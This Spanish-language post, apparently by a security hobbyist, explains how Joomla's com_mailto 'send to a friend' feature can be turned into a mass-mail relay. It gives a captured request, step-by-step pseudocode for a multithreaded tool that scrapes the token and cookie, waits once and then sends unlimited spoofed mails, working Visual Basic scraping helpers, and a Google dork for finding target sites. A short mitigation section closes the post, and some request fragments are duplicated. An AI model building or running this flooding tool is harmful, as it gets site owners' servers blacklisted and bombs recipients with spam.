Utilizando Joomla como servidor de correos masivos
Bueno, ya hace bastante tiempo habia hecho un post detallando varias fallas de joomla de las cuales casi todas fueron reparadas.
Con el tiempo le envié un correo al soporte para que pudieran reparar otras nuevas fallas pero nunca respondieron y nunca los repararon tampoco jajajaja, será que les digo las cosas y lo toman a la ligera no se.
La otra ves publiqué el xss en el buscador y no lo parcharon hasta que publiqué un video de como subir una shell c99 desde ese xss, entonces ahi si lo repararon.
Ahora como piensan que estos bugs no son àra nada comprometedores les mostraré como crear un software para utilizar cualquier sitio web con joomla como servidor de correos masivos pero ojo que no publicaré ningún software hecho para evitar que cualquiera haga de las suyas ya que causa un desmadre al servidor.
Detalles técnicos
La falla está en el componente "MailTo" alias el "com_mailto".
No se si han visto que en algunos sitios webs que funcionan con joomla tienen tres íconos al lado del encabezado del mensaje de la portada... uno que es para imprimir, exportar en pdf y otro para enviar el tema por correo a un amigo como tipo de recomendación.
El problema esque este componente no exige captcha (imagen de verificación) por lo cual una automatización sería técnicamente posible asi que manos a la obra...
Primero que nada cuando enviamos un mail nos encontramos con la siguiente cabezera:
Citar
POST / HTTP/1.1
Host: localhost
Referer: http://localhost/index.php?option=com_mailto&tmpl=component&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8
Connection: Close
Cookie: 587e9de7c92cfd61e9b49249c8c904ec=3vq6lpo7v4gpg3uutvgot954k7;
Content-Type: application/x-www-form-urlencoded
Content-Length: 954
mailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&
428e4678e31b0b08571b7f7d2cb9cd4a=1&layout=default&option=com_mailto&task=send&tmpl=component
Host: localhost
Referer: http://localhost/index.php?option=com_mailto&tmpl=component&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8
Connection: Close
Cookie: 587e9de7c92cfd61e9b49249c8c904ec=3vq6lpo7v4gpg3uutvgot954k7;
Content-Type: application/x-www-form-urlencoded
Content-Length: 954
mailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&
428e4678e31b0b08571b7f7d2cb9cd4a=1&layout=default&option=com_mailto&task=send&tmpl=component
Acá podemos ver muchas cosas que son importantes y que le sirve a joomla para verificar que no seamos un bot.
1. Primero podemos ver el referer, asi que hay que tomarlo en cuenta al momento de enviar la petición, luego vemos que dentro del referer hay una serie de carácteres bién largo justo donde dice "link"... ese valor es la url que se enviará por correo diciendo a tu amgo que le haga click porque yo se la recomendé pero está cifrada en base64.
2. Ahora vemos una cookie con doble hash eso significa que tanto el valor como la variable son hashes aleatorios intentando entre comillas evadir una automatización ya que supuestamente el nombre de la cookie va al azar asi que "pienso" que se habrán roto la cabeza pensando que una cookie al azar podría evitar la captura del mismo limitando al usuario a utilizar solamente el explorador, pues bién... la capturamos y la utilizamos asi que ya sabemos que se necesita el referer, el link en base64 y la cookie con doble hash.
3. Vemos un token de verificación en la variable post y al igual que la cookie este es un hash al azar pero no es su contenido sinó en su nombre y de valor tiene un "1":
Citar
mailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&428e4678e31b0b0
8571b7f7d2cb9cd4a=1&layout=default&option=com_mailto&task=send&
tmpl=component
Normalmente la gente está acostumbrada a localizar el valor de un token por su nombre pero en este caso es solo cosa de verificar un input que tenga el valor de "1" y que su nombre contenga 32 carácteres que es la cantidad exacta de un hash en MD5.GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&428e4678e31b0b0
8571b7f7d2cb9cd4a=1&layout=default&option=com_mailto&task=send&
tmpl=component
4. Antes de enviar todo esto hay que recordar que se necesta hacer una petición GET a la página para obtener la cookie de antemano o como sabremos cual enviar, también pasa con el token y lo demás asi que solicitamos la web pero cuando queremos enviar el formulario nos va a decir que fue imposible su envío y esto se debe a que joomla te fuerza a esperar 20 segundos aproximadamente entre que te dan el token y lo usas asi que ya tenemos el referer, la cookie con doble hash, el link en base64, el token anticsrf y el tiempo de espera.
Ahora con estos 4 puntos que debería hacer evitar un envío automatizado desde un bot o lo que sea nos encontramos con dos bugs, el primero es lo que ya vieron (no usa captcha) y el segundo esque cuando pasas los 20 segundos de espera te añade un token en tu sesión de cookie que dice que ya terminó t espera de 20 segundos pero lo que no verifica esque que pasa si vuelvo a enviar otro correo, en ese caso ya no me hará esperar porque mi cookie dice que yo ya esperé asi que solo debo esperar 20 segundos para enviar mis veintemil cuatrocientos noventa y un correos seguidos a los destinatarios que yo quiera porque el hash de la cookie y el token anticsrf no cambia en cada envío asi que puedo modificar cualquier dato del mail.
Pseudo-código
El software pide los siguientes datos:
url_del_joomla
para_email
de_nombre
de_correo
asunto_de_correo
X_Hilos
mensaje_al_mamahuevo[255]
/* de 255 carácteres porque esto irá en la petición GET asi que no debe sobrepasar la cantidad de carácteres límite de apache */
/* Inicia el proceso de recaudación de datos iniciales */
url = directorio(url_de_joomla) // Obtiene el directorio del joomla
host = servidor(ur_de_joomla) // Obtiene el nombre de dominio del url
Socket1 conecta a url_del_joomla puerto 80 protocolo TCP
Socket1 Envía los siguientes datos -> // Protocolo HTTP -->
GET " + url + "index.php?option=com_mailto&tmpl=component&link=" + urlencode(base64_encode(mensaje_al_mamahuevo)) + " HTTP/1.1" + (un salto de linea) +
"Host: " + host + (un salto de linea) +
"Connection: close" + (un salto de linea) +
"User-Agent: Agente de usuario a gusto" + (dos saltos de linea)
Buffer = Recibe los datos debueltos por el socket
Cookie = función obtiene cookies (Buffer)
Token = función obtiene Token (Buffer)
Si la cookie tiene menos de 40 carácteres entonces es inválido y finaliza
/* Porque es n hash de 32 carácteres mas un pequeño hash desde 10 a 30 carácteres. */
Si el token no es de 32 carácteres entonces es inválido y finaliza
/* Porque un hash md5 es de 32 carácteres */
Esperar 20 segundos
Inicio del Loop
Crear hilo de proceso con lo siguiente{ /* Con un máximo de X_hilos (por defecto usar 100)*/
Inicio del Segundo Loop
Si de_nombre es igual a "azar" entonces el de_nombre son 7 carácteres alfanuméricos al azar
Si de_correo es igual a "azar" entonces el de_correo son 7 carácteres alfanuméricos al azar + "@" + el servidor que yo quiera pero que sea conocido
Si el asunto es igual a "azar" entonces el asunto es igual a 7 carácteres alfanuméricos al azar
Crea un nuevo Socket y lo conecta a url_de_joomla puerto 80 Protocolo TCP
PostData es igual a -->
"mailto=" + URLEncode(para_email) + (un salto de linea) +
"&sender=" + URLEncode(de_nombre) + (un salto de linea) +
"&from=" + URLEncode(de_correo) + (un salto de linea) +
"&subject=" + URLEncode(asunto) + (un salto de linea) +
"&link=" + URLEncode(EncodeStr64(Text9.Text)) + (un salto de linea) +
"&" + URLEncode(Text11.Text) + "=1" + (un salto de linea) +
"&layout=default&option=com_mailto&task=send&tmpl=component"
El Socket creado envía lo siguiente ->
"POST " + url + " HTTP/1.1" + (un salto de linea) +
"Host: " + host + (un salto de linea) +
"Referer: http://" + host + url + "index.php?option=com_mailto&tmpl=component&link=" + URLEncode(EncodeStr64(mensaje_al_mamahuevo)) + (un salto de linea) +
"User-Agent: a elección pero que sea el mismo que el anterior" + (un salto de linea) +
"Connection: Close" + (un salto de linea) +
"Cookie:" + cookies + (un salto de linea) +
"Content-Type: application/x-www-form-urlencoded" + (un salto de linea) +
"Content-Length: " + cantidad de carácteres de PostData + (dos saltos de linea) +
PostData + (dos saltos de linea)
Cuando se desconecte volver al SegundoLoop
}
Final del Loop
Al final debería quedar algo así:
No puedo poner el binario o la fuente directamente pero pondré el módulo hecho en visual basic para capturar el token y la cookie:
Código
Public Function Obtener_Token(Buffer As String) As String Dim Hash As String Hash = InStr(1, Buffer, Chr(34) & " value=" & Chr(34) & "1" & Chr(34) & " />") ' " value="1" /> If Hash = 0 Then Exit Function Else Obtener_Token = Mid$(Buffer, Int(Hash - 32), 32) ' Hash de 32 bites End If End Function Public Function Obtener_Cookies(Buffer As String, Phpsessid_Off As Boolean) As String Dim Temporal As String, Cookie As String Rebuscar: Cookie = InStr(1, Buffer, "Set-Cookie: ") If Cookie = 0 Then Exit Function Else Buffer = Mid$(Buffer, Cookie, Len(Buffer)) Cookie = InStr(1, Buffer, ";") Temporal = Mid$(Buffer, 1, Cookie) Buffer = Mid$(Buffer, Cookie, Len(Buffer)) Temporal = Replace(Temporal, "Set-Cookie: ", "") If Phpsessid_Off = True Then If Not Eregi("phpsessid", LCase(Temporal)) Then Obtener_Cookies = Obtener_Cookies & " " & Temporal Else Obtener_Cookies = Obtener_Cookies & " " & Temporal End If DoEvents GoTo Rebuscar End If End Function Public Function URLEncode(sRawURL As String) As String On Error GoTo Catch Dim iLoop As Integer Dim sRtn As String Dim sTmp As String Const sValidChars = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz:._-(){}~" If Len(sRawURL) > 0 Then ' Loop through each char For iLoop = 1 To Len(sRawURL) sTmp = Mid(sRawURL, iLoop, 1) If InStr(1, sValidChars, sTmp, vbBinaryCompare) = 0 Then ' If not ValidChar, convert to HEX and p ' refix with % sTmp = Hex(Asc(sTmp)) If sTmp = "20" Then sTmp = "+" ElseIf Len(sTmp) = 1 Then sTmp = "%0" & sTmp Else sTmp = "%" & sTmp End If End If sRtn = sRtn & sTmp Next iLoop URLEncode = sRtn End If Finally: Exit Function Catch: URLEncode = "" Resume Finally End Function Public Function Eregi(Condicion As String, Buffer As String) As Boolean If InStr(1, Buffer, Condicion) > 0 Then Eregi = True Else Eregi = False End Function Public Function Nick_Azar() As String Nick_Azar = _ Chr(Int(Rnd * 23) + 98) & _ Chr(Int(Rnd * 23) + 98) & _ Chr(Int(Rnd * 23) + 98) & _ Chr(Int(Rnd * 23) + 98) & _ Chr(Int(Rnd * 23) + 98) & _ Chr(Int(Rnd * 23) + 98) & _ Chr(Int(Rnd * 23) + 98) End Function
al Obtener_Cookies le dan el bffer y le ponen como segunda variable un false para que devuelva la cookie que no es phpsessid y evita repeticiones de cookies como pasa en algunos sistemas como smf.
Y debería causar algo como esto:
http://img.drawcoders.net/index.php?acn=observar&idi=c8ce715057_spam.JPG
Pero está claro que es solo un ejemplo y que el software no no no no es real y es solo algo hecho en photoshop al igual que la otra captura
PD: Portalhack.us fue avisado y deshabilitaron ese componente asi que no los molesten.
Soy muy malo para hacer pseudocódigos asi que no reclamen por el source , se que falta destruir variables y verificar datos numéricos en inputs, etc etc etc pero solo mostré lo básico de como hacerlo, el resto ya es imaginación.
Consecuencias
Hay muchas consecuencias y la mas fatal es que tu servidor puede quedar dentro de la lista negra de servidores de correos como gmail, yahoo, etc y todos los correos que provengan de tu servidor se irán directamente a la bandeja de spam tenga el contenido que sea y con eso tu servidor morirá para enviar correos (o como se dice, se va a quemar).
La otra consecuencia es que puede haber gente victima de bombardeos de miles de correos con destinatarios diferentes y harás colapsar a tu pobre amigo tratando de borrar tanto correo ya que tendrá que fijarse si entre esos correos hay alguno normal o tirará todo lo que le llegue a su papelera dejando inutilizable su correo sea cual sea, ya que mandarlo como spam no serviría porque el atacante puede usar cuanto servidor se le cruze.
El otro problema es que le baja el autoestima al programador por estar haciendo makinas de spam
También conversaba con un amigo sobre las consecuencias que podría llegar a causar esto ya que hay que tomar en cuenta que todos los correos llegan a la bandeja de entrada a menos que el servidor ya esté quemado pero de 100 talves uno no funcione, además podría cargarse un archivo de texto con correos y otro listado con sitios que usen joomla y tener una makina para espamear gratis sin kemar su propio server pero bueno, son cosas, desastres de la naturaleza hasta que lo reparen o aver si ahora si le dan importancia o simplemente comienze la gente a deshabilitar sus componentes.
Solución
Puedes integrarle una captcha a ese componente editando su código fuente para que acepte el valor del input de la captcha o simplemente deshabilita la opción de enviar email desde el menú de contenido yte vas a configuraciones, luego le das en no mostrar envío de email y pr si las dudas te vas a "instalar/desintalar" y deshabilitas el componente "com_mailto".
PD: en este tuto no salió ningún correo ni servidor dañado.
PD2:
GoogleDork: http://www.google.cl/search?hl=es&q=index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D+%26Itemid%3D&btnG=Buscar+con+Google&meta=&aq=f&oq=